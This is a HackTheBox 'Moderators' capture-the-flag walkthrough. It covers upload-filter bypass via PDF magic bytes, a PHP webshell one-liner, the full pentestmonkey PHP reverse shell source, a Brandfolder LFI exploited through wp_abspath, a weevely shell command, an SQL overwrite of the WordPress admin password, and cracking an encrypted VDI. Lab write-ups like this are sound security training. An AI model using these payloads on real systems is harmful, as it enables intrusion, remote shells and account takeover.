HackTheBox — Moderators

12 min readNov 5, 2022

Moderators was a hard rated box which involved fuzzing for report number which lead to accessing a page for uploading file that was restricted to only pdf that was bypassed through magic bytes and content type leading to uploading php file but most of the functions were blocked, using proc_open to get a reverse shell as www-data , on further enumeration Brandfolder was vulnerable to LFI through which we can get a shell through lexi, since we had access to wordpress database, we can update administrator’s password and access the password-manager giving us the password for moderator user, from his directory we can find the vdi file which is encrypted, cracking the password and mounting the vdi file again we’ll see that the contents are encrypted on cracking , we’ll find few bash scripts from which we’ll find the password for root user.


Nmap scan report for
Host is up (0.091s latency).
Not shown: 998 closed ports
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Moderators
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


We can find few usernames by scrolling down which might be useful

There’s a search field but it doesn’t work

Clicking the hamburger button we have few pages to explore out of which the blog page looks interesting has it’s showing some bugs which were reported also the service page talks about the format of reports that are submitted

Going through some of the reports, it masked the domain name

On the last report, it does give a hint about the subdomain which is help , I added moderators.htb in hosts file and tried fuzzing for subdomains with wfuzz but it didn't find anything, it could be that moderators.htb isn't the valid domain name

Running gobuster to fuzz for files and directories it returned logs which was interesting but returned a blank a page

Further fuzzing for it reveals /uploads and then a html file

Now on the blog page, there were links of 3 reports however the blog talked about 5 vulnerabilities, so maybe we need to fuzz the report number which consists of 4 digits, so let’s make a wordlist of numbers with runch

We have a total of 6 reports now so let’s visit them, Report #7612 shows a blind command injection on actionmeter.org.htb as patched

Report #2589 shows sql injection is patched on healtharcade.io.htb

And the last report , Report #9798 shows sensitive information disclosure as not patched

The domain names don’t work, but the last report is quiet interesting as we already found /logs and the report tells that it accepts the report number as md5 hash

Remember that the service page was talking about reports or logs being submitted in a pdf format so here we need to fuzz for pdf files in hashed report numbers

Here I have just looped through contents of the valid report numbers and converted them into md5 hash

I appended these hash in common.txt file as we can only use wordlist and used feroxbuster as it can recursively fuzz for files

This started to return logs.pdf in those hashed report numbers

For Report #7612 it showed some logs and a path to php file which uploads pdf files


If we try to upload a php file having this content it will only allow upload pdf files

<?php system($_GET['cmd']); ?>

To bypass this, we can add a pdf magic byte in our php file which act as a pdf file also when uploading the file we have to change the Content-Type from application/x-php to application/pdf

The file is uploaded but on executing the commands through the system function it won't give any output

So it could be that some php functions are disabled, we can try to list the disabled functions through phpinfo()

So the functions pass_thru, system, exec , shell_exec and pcntl_exec are blocked , we can skip having the rce and directly just try getting a reverse shell from pentest monkey

set_time_limit (0); $VERSION = "1.0"; $ip = ""; $port = 2222; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {  if (!$daemon) { print "$string\\n"; } }

On uploading this, we’ll get a shell as www-data

Stabilizing the shell with python3 so we can get a better shell

Checking the services running on the machine with ss -tulpn we can there’s 8080 open

We can use chisel to port forward 8080 which we can transfer by hosting through python3, also to add moderators.htb in our hosts file

This is using wordpress we can tell this by looking at wapplayzer extension

Also we can find the directory of wordpress which is /opt/site.new and it's owned by lexi user

We can’t read wp-config.php which has the database password for wordpress, so we'll need to enumerate users

We do see 2 plugins

password-manager didn't had any exploits related to it

Brandfolder 3.0 is being used which had a LFI exploit


The LFI exploit wasn’t working

But the first poc was related to including the files from the wp-admin directory by providing an absolute path to that folder

Privilege Escalation (lexi)

To exploit this, we need to create a folder in /var/www/html/logs/uploads because that's the folder which is writable

In post.php I have included the phpinfo(); to see if there any disabled functions

Visiting the callback.php with the wordpress absolute path parameter wp_abspath


I tried the same reverse shell here as well but it didn’t worked, although it doesn’t show any disabled php functions but still none of the commands were working

I found a tool called weevely for generating obfuscated php shells, with this I generated a php script, now we need to replace this file with the one in includes directory

Making a request again with the absolute path variable with weevely we’ll get a reverse shell as lexi user

./weevely.py http://moderators.htb:8080/wpcontent/plugins/brandfolder/callback.php?wp_abspath=/var/www/html/logs/uploads/wp/ uwu 

We can grab this user’s ssh key and login through ssh

The wordpress password can be found from wp-config.php and we can try this on john user

Which didn’t worked, so we can look at the plugin which is a password manager, so we’ll find something there, as we have access to wordpress database, we can change admin user’s password

update wp_users SET user_pass = "$P$Bgz13AtQiY80g093FkqIKWQ8pIdLRX0" WHERE user_login = "admin";

From here we can get the ssh key for john

We can now login as john using his ssh key

In stuff directory we see two sub directories

VBOX has an virtual box image and exp has some chats related to it, it tallks about the password policy and about the Vbox disk image

Host the files from the target machine with python3

I honestly spend hours trying to mound the vdi with qemu, also converting into a raw format (.img) which didn't worked, transferring the the files on windows machine, I tried importing the vdi image

So we have to make few changes into the vbox file as it’s loading the vdi files Ubuntu.vdi and 2019.vdi from F:/2019.vdi, so we need to provide it the full path also to remove the ubuntu.vdi and the ubuntu iso so the .vbox file will look like this after editing it

After importing this vdi, it wasn’t working as whenever I tried attaching it to a VM it would pause, so I went into Disk Encryption option which prompted that it needs Oracle VM extension pack, which can be downloaded from here

On installing the extension pack, it asks for the decryption password

For this we can use this python script to crack VDI image, which gets cracked with the password computer

We can now decrypt the vdi image

Add into to an existing VM

Using blkid we can see the attached the vdi which is encrypted

To decrypt this we can use the script grond.sh with the same wordlist with which the vdi password was cracked

Having the password abc123 we can mount this using cryptsetup

By following these commands we can mount the voulme

In scripts/all-in-one we can find a file named distro_update.sh having the password

Which we can use on john to list privileges for the user and we can run everything as root